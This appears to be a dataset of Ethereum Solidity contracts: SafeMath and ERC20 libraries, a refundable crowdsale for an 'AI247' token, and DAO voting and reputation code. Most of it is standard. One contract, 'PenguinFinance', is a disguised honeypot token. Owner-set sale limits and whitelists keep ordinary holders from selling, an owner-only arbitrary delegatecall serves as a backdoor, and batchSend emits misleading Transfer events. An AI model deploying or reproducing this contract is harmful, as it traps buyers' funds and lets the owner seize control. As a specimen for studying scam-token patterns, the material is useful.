return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract PenguinFinance {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 0 | 2,294 |
pragma solidity ^0.5.0;
library Math {
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0, "SafeMath: division by zero");
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a, "SafeMath: subtraction overflow");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0, "SafeMath: modulo by zero");
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
uint256 size;
assembly { size := extcodesize(account) }
return size > 0;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ReentrancyGuard {
uint256 private _guardCounter;
constructor () internal {
_guardCounter = 1;
}
modifier nonReentrant() {
_guardCounter += 1;
uint256 localCounter = _guardCounter;
_;
require(localCounter == _guardCounter, "ReentrancyGuard: reentrant call");
}
}
contract Crowdsale is ReentrancyGuard {
using SafeMath for uint256;
using SafeERC20 for IERC20;
IERC20 private _token;
address payable private _wallet;
uint256 private _rate;
uint256 private _weiRaised;
event TokensPurchased(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
constructor (uint256 rate, address payable wallet, IERC20 token) public {
require(rate > 0, "Crowdsale: rate is 0");
require(wallet != address(0), "Crowdsale: wallet is the zero address");
require(address(token) != address(0), "Crowdsale: token is the zero address");
_rate = rate;
_wallet = wallet;
_token = token;
}
function () external payable {
buyTokens(msg.sender);
}
function token() public view returns (IERC20) {
return _token;
}
function wallet() public view returns (address payable) {
return _wallet;
}
function _setRate(uint256 rate) internal{
_rate = rate;
}
function rate() public view returns (uint256) {
return _rate;
}
function weiRaised() public view returns (uint256) {
return _weiRaised;
}
function buyTokens(address beneficiary) public nonReentrant payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
_weiRaised = _weiRaised.add(weiAmount);
_processPurchase(beneficiary, tokens);
emit TokensPurchased(msg.sender, beneficiary, weiAmount, tokens);
_forwardFunds();
}
function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
require(beneficiary != address(0), "Crowdsale: beneficiary is the zero address");
require(weiAmount != 0, "Crowdsale: weiAmount is 0");
}
function _deliverTokens(address beneficiary, uint256 tokenAmount) internal {
_token.safeTransfer(beneficiary, tokenAmount);
}
function _processPurchase(address beneficiary, uint256 tokenAmount) internal {
_deliverTokens(beneficiary, tokenAmount);
}
function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) {
return weiAmount.mul(_rate);
}
function _forwardFunds() internal {
_wallet.transfer(msg.value);
}
}
contract CappedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 private _cap;
constructor (uint256 cap) public {
require(cap > 0, "CappedCrowdsale: cap is 0");
_cap = cap;
}
function cap() public view returns (uint256) {
return _cap;
}
function capReached() public view returns (bool) {
return weiRaised() >= _cap;
}
function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view {
super._preValidatePurchase(beneficiary, weiAmount);
require(weiRaised().add(weiAmount) <= _cap, "CappedCrowdsale: cap exceeded");
}
}
contract TimedCrowdsale is Crowdsale {
using SafeMath for uint256;
uint256 private _openingTime;
uint256 private _closingTime;
event TimedCrowdsaleExtended(uint256 prevClosingTime, uint256 newClosingTime);
modifier onlyWhileOpen {
require(isOpen(), "TimedCrowdsale: not open");
_;
}
constructor (uint256 openingTime, uint256 closingTime) public {
require(openingTime >= block.timestamp, "TimedCrowdsale: opening time is before current time");
require(closingTime > openingTime, "TimedCrowdsale: opening time is not before closing time");
_openingTime = openingTime;
_closingTime = closingTime;
}
function openingTime() public view returns (uint256) {
return _openingTime;
}
function closingTime() public view returns (uint256) {
return _closingTime;
}
function isOpen() public view returns (bool) {
return block.timestamp >= _openingTime && block.timestamp <= _closingTime;
}
function hasClosed() public view returns (bool) {
return block.timestamp > _closingTime;
}
function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal onlyWhileOpen view {
super._preValidatePurchase(beneficiary, weiAmount);
}
function _extendTime(uint256 newClosingTime) internal {
require(!hasClosed(), "TimedCrowdsale: already closed");
require(newClosingTime > _closingTime, "TimedCrowdsale: new closing time is before current closing time");
emit TimedCrowdsaleExtended(_closingTime, newClosingTime);
_closingTime = newClosingTime;
}
}
contract FinalizableCrowdsale is TimedCrowdsale {
using SafeMath for uint256;
bool private _finalized;
event CrowdsaleFinalized();
constructor () internal {
_finalized = false;
}
function finalized() public view returns (bool) {
return _finalized;
}
function finalize() public {
require(!_finalized, "FinalizableCrowdsale: already finalized");
require(hasClosed(), "FinalizableCrowdsale: not closed");
_finalized = true;
_finalization();
emit CrowdsaleFinalized();
}
function _finalization() internal {
}
}
contract Secondary {
address private _primary;
event PrimaryTransferred(
address recipient
);
constructor () internal {
_primary = msg.sender;
emit PrimaryTransferred(_primary);
}
modifier onlyPrimary() {
require(msg.sender == _primary, "Secondary: caller is not the primary account");
_;
}
function primary() public view returns (address) {
return _primary;
}
function transferPrimary(address recipient) public onlyPrimary {
require(recipient != address(0), "Secondary: new primary is the zero address");
_primary = recipient;
emit PrimaryTransferred(_primary);
}
}
contract Escrow is Secondary {
using SafeMath for uint256;
event Deposited(address indexed payee, uint256 weiAmount);
event Withdrawn(address indexed payee, uint256 weiAmount);
mapping(address => uint256) private _deposits;
function depositsOf(address payee) public view returns (uint256) {
return _deposits[payee];
}
function deposit(address payee) public onlyPrimary payable {
uint256 amount = msg.value;
_deposits[payee] = _deposits[payee].add(amount);
emit Deposited(payee, amount);
}
function withdraw(address payable payee) public onlyPrimary {
uint256 payment = _deposits[payee];
_deposits[payee] = 0;
payee.transfer(payment);
emit Withdrawn(payee, payment);
}
}
contract ConditionalEscrow is Escrow {
function withdrawalAllowed(address payee) public view returns (bool);
function withdraw(address payable payee) public {
require(withdrawalAllowed(payee), "ConditionalEscrow: payee is not allowed to withdraw");
super.withdraw(payee);
}
}
contract RefundEscrow is ConditionalEscrow {
enum State { Active, Refunding, Closed }
event RefundsClosed();
event RefundsEnabled();
State private _state;
address payable private _beneficiary;
constructor (address payable beneficiary) public {
require(beneficiary != address(0), "RefundEscrow: beneficiary is the zero address");
_beneficiary = beneficiary;
_state = State.Active;
}
function state() public view returns (State) {
return _state;
}
function beneficiary() public view returns (address) {
return _beneficiary;
}
function deposit(address refundee) public payable {
require(_state == State.Active, "RefundEscrow: can only deposit while active");
super.deposit(refundee);
}
function close() public onlyPrimary {
require(_state == State.Active, "RefundEscrow: can only close while active");
_state = State.Closed;
emit RefundsClosed();
}
function enableRefunds() public onlyPrimary {
require(_state == State.Active, "RefundEscrow: can only enable refunds while active");
_state = State.Refunding;
emit RefundsEnabled();
}
function beneficiaryWithdraw() public {
require(_state == State.Closed, "RefundEscrow: beneficiary can only withdraw while closed");
_beneficiary.transfer(address(this).balance);
}
function withdrawalAllowed(address) public view returns (bool) {
return _state == State.Refunding;
}
}
contract RefundableCrowdsale is FinalizableCrowdsale {
using SafeMath for uint256;
uint256 private _goal;
RefundEscrow private _escrow;
constructor (uint256 goal) public {
require(goal > 0, "RefundableCrowdsale: goal is 0");
_escrow = new RefundEscrow(wallet());
_goal = goal;
}
function goal() public view returns (uint256) {
return _goal;
}
function claimRefund(address payable refundee) public {
require(finalized(), "RefundableCrowdsale: not finalized");
require(!goalReached(), "RefundableCrowdsale: goal reached");
_escrow.withdraw(refundee);
}
function goalReached() public view returns (bool) {
return weiRaised() >= _goal;
}
function _finalization() internal {
if (goalReached()) {
_escrow.close();
_escrow.beneficiaryWithdraw();
} else {
_escrow.enableRefunds();
}
super._finalization();
}
function _forwardFunds() internal {
_escrow.deposit.value(msg.value)(msg.sender);
}
}
contract MintedCrowdsale is Crowdsale {
function _deliverTokens(address beneficiary, uint256 tokenAmount) internal {
require(
ERC20Mintable(address(token())).mint(beneficiary, tokenAmount),
"MintedCrowdsale: minting failed"
);
}
}
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowances[from][msg.sender].sub(value));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0), "ERC20: transfer to the zero address");
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0), "ERC20: burn from the zero address");
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowances[account][msg.sender].sub(value));
}
}
library Roles {
struct Role {
mapping (address => bool) bearer;
}
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
contract MinterRole {
using Roles for Roles.Role;
event MinterAdded(address indexed account);
event MinterRemoved(address indexed account);
Roles.Role private _minters;
constructor () internal {
_addMinter(msg.sender);
}
modifier onlyMinter() {
require(isMinter(msg.sender), "MinterRole: caller does not have the Minter role");
_;
}
function isMinter(address account) public view returns (bool) {
return _minters.has(account);
}
function addMinter(address account) public onlyMinter {
_addMinter(account);
}
function renounceMinter() public {
_removeMinter(msg.sender);
}
function _addMinter(address account) internal {
_minters.add(account);
emit MinterAdded(account);
}
function _removeMinter(address account) internal {
_minters.remove(account);
emit MinterRemoved(account);
}
}
contract ERC20Mintable is ERC20, MinterRole {
function mint(address to, uint256 value) public onlyMinter returns (bool) {
_mint(to, value);
return true;
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor (string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
}
contract AI247Token is ERC20Mintable, ERC20Detailed {
constructor () public ERC20Detailed("AI247 Token", "AI247", 18) {
}
}
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract AI247Crowdsale is CappedCrowdsale, RefundableCrowdsale, MintedCrowdsale, Ownable {
constructor (
uint256 openingTime,
uint256 closingTime,
uint256 rate,
address payable wallet,
uint256 cap,
ERC20Mintable token,
uint256 goal
)
public
Crowdsale(rate, wallet, token)
CappedCrowdsale(cap)
TimedCrowdsale(openingTime, closingTime)
RefundableCrowdsale(goal)
{
require(goal <= cap, "AI247CrowdSale: goal is greater than cap");
}
function setRate(uint256 rate) public onlyOwner{
_setRate(rate);
}
} | 0 | 580 |
pragma solidity ^0.5.4;
interface IntVoteInterface {
modifier onlyProposalOwner(bytes32 _proposalId) {revert(); _;}
modifier votable(bytes32 _proposalId) {revert(); _;}
event NewProposal(
bytes32 indexed _proposalId,
address indexed _organization,
uint256 _numOfChoices,
address _proposer,
bytes32 _paramsHash
);
event ExecuteProposal(bytes32 indexed _proposalId,
address indexed _organization,
uint256 _decision,
uint256 _totalReputation
);
event VoteProposal(
bytes32 indexed _proposalId,
address indexed _organization,
address indexed _voter,
uint256 _vote,
uint256 _reputation
);
event CancelProposal(bytes32 indexed _proposalId, address indexed _organization );
event CancelVoting(bytes32 indexed _proposalId, address indexed _organization, address indexed _voter);
function propose(
uint256 _numOfChoices,
bytes32 _proposalParameters,
address _proposer,
address _organization
) external returns(bytes32);
function vote(
bytes32 _proposalId,
uint256 _vote,
uint256 _rep,
address _voter
)
external
returns(bool);
function cancelVote(bytes32 _proposalId) external;
function getNumberOfChoices(bytes32 _proposalId) external view returns(uint256);
function isVotable(bytes32 _proposalId) external view returns(bool);
function voteStatus(bytes32 _proposalId, uint256 _choice) external view returns(uint256);
function isAbstainAllow() external pure returns(bool);
function getAllowedRangeOfChoices() external pure returns(uint256 min, uint256 max);
}
pragma solidity ^0.5.2;
interface IERC20 {
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function totalSupply() external view returns (uint256);
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.5.4;
interface VotingMachineCallbacksInterface {
function mintReputation(uint256 _amount, address _beneficiary, bytes32 _proposalId) external returns(bool);
function burnReputation(uint256 _amount, address _owner, bytes32 _proposalId) external returns(bool);
function stakingTokenTransfer(IERC20 _stakingToken, address _beneficiary, uint256 _amount, bytes32 _proposalId)
external
returns(bool);
function getTotalReputationSupply(bytes32 _proposalId) external view returns(uint256);
function reputationOf(address _owner, bytes32 _proposalId) external view returns(uint256);
function balanceOfStakingToken(IERC20 _stakingToken, bytes32 _proposalId) external view returns(uint256);
}
pragma solidity ^0.5.2;
contract Ownable {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
_owner = msg.sender;
emit OwnershipTransferred(address(0), _owner);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns (bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
pragma solidity ^0.5.4;
contract Reputation is Ownable {
uint8 public decimals = 18;
event Mint(address indexed _to, uint256 _amount);
event Burn(address indexed _from, uint256 _amount);
struct Checkpoint {
uint128 fromBlock;
uint128 value;
}
mapping (address => Checkpoint[]) balances;
Checkpoint[] totalSupplyHistory;
constructor(
) public
{
}
function totalSupply() public view returns (uint256) {
return totalSupplyAt(block.number);
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balanceOfAt(_owner, block.number);
}
function balanceOfAt(address _owner, uint256 _blockNumber)
public view returns (uint256)
{
if ((balances[_owner].length == 0) || (balances[_owner][0].fromBlock > _blockNumber)) {
return 0;
} else {
return getValueAt(balances[_owner], _blockNumber);
}
}
function totalSupplyAt(uint256 _blockNumber) public view returns(uint256) {
if ((totalSupplyHistory.length == 0) || (totalSupplyHistory[0].fromBlock > _blockNumber)) {
return 0;
} else {
return getValueAt(totalSupplyHistory, _blockNumber);
}
}
function mint(address _user, uint256 _amount) public onlyOwner returns (bool) {
uint256 curTotalSupply = totalSupply();
require(curTotalSupply + _amount >= curTotalSupply);
uint256 previousBalanceTo = balanceOf(_user);
require(previousBalanceTo + _amount >= previousBalanceTo);
updateValueAtNow(totalSupplyHistory, curTotalSupply + _amount);
updateValueAtNow(balances[_user], previousBalanceTo + _amount);
emit Mint(_user, _amount);
return true;
}
function burn(address _user, uint256 _amount) public onlyOwner returns (bool) {
uint256 curTotalSupply = totalSupply();
uint256 amountBurned = _amount;
uint256 previousBalanceFrom = balanceOf(_user);
if (previousBalanceFrom < amountBurned) {
amountBurned = previousBalanceFrom;
}
updateValueAtNow(totalSupplyHistory, curTotalSupply - amountBurned);
updateValueAtNow(balances[_user], previousBalanceFrom - amountBurned);
emit Burn(_user, amountBurned);
return true;
}
function getValueAt(Checkpoint[] storage checkpoints, uint256 _block) internal view returns (uint256) {
if (checkpoints.length == 0) {
return 0;
}
if (_block >= checkpoints[checkpoints.length-1].fromBlock) {
return checkpoints[checkpoints.length-1].value;
}
if (_block < checkpoints[0].fromBlock) {
return 0;
}
uint256 min = 0;
uint256 max = checkpoints.length-1;
while (max > min) {
uint256 mid = (max + min + 1) / 2;
if (checkpoints[mid].fromBlock<=_block) {
min = mid;
} else {
max = mid-1;
}
}
return checkpoints[min].value;
}
function updateValueAtNow(Checkpoint[] storage checkpoints, uint256 _value) internal {
require(uint128(_value) == _value);
if ((checkpoints.length == 0) || (checkpoints[checkpoints.length - 1].fromBlock < block.number)) {
Checkpoint storage newCheckPoint = checkpoints[checkpoints.length++];
newCheckPoint.fromBlock = uint128(block.number);
newCheckPoint.value = uint128(_value);
} else {
Checkpoint storage oldCheckPoint = checkpoints[checkpoints.length-1];
oldCheckPoint.value = uint128(_value);
}
}
}
pragma solidity ^0.5.2;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
pragma solidity ^0.5.2;
contract ERC20 is IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowed;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address owner) public view returns (uint256) {
return _balances[owner];
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowed[owner][spender];
}
function transfer(address to, uint256 value) public returns (bool) {
_transfer(msg.sender, to, value);
return true;
}
function approve(address spender, uint256 value) public returns (bool) {
_approve(msg.sender, spender, value);
return true;
}
function transferFrom(address from, address to, uint256 value) public returns (bool) {
_transfer(from, to, value);
_approve(from, msg.sender, _allowed[from][msg.sender].sub(value));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(msg.sender, spender, _allowed[msg.sender][spender].sub(subtractedValue));
return true;
}
function _transfer(address from, address to, uint256 value) internal {
require(to != address(0));
_balances[from] = _balances[from].sub(value);
_balances[to] = _balances[to].add(value);
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.add(value);
_balances[account] = _balances[account].add(value);
emit Transfer(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
require(account != address(0));
_totalSupply = _totalSupply.sub(value);
_balances[account] = _balances[account].sub(value);
emit Transfer(account, address(0), value);
}
function _approve(address owner, address spender, uint256 value) internal {
require(spender != address(0));
require(owner != address(0));
_allowed[owner][spender] = value;
emit Approval(owner, spender, value);
}
function _burnFrom(address account, uint256 value) internal {
_burn(account, value);
_approve(account, msg.sender, _allowed[account][msg.sender].sub(value));
}
}
pragma solidity ^0.5.2;
contract ERC20Burnable is ERC20 {
function burn(uint256 value) public {
_burn(msg.sender, value);
}
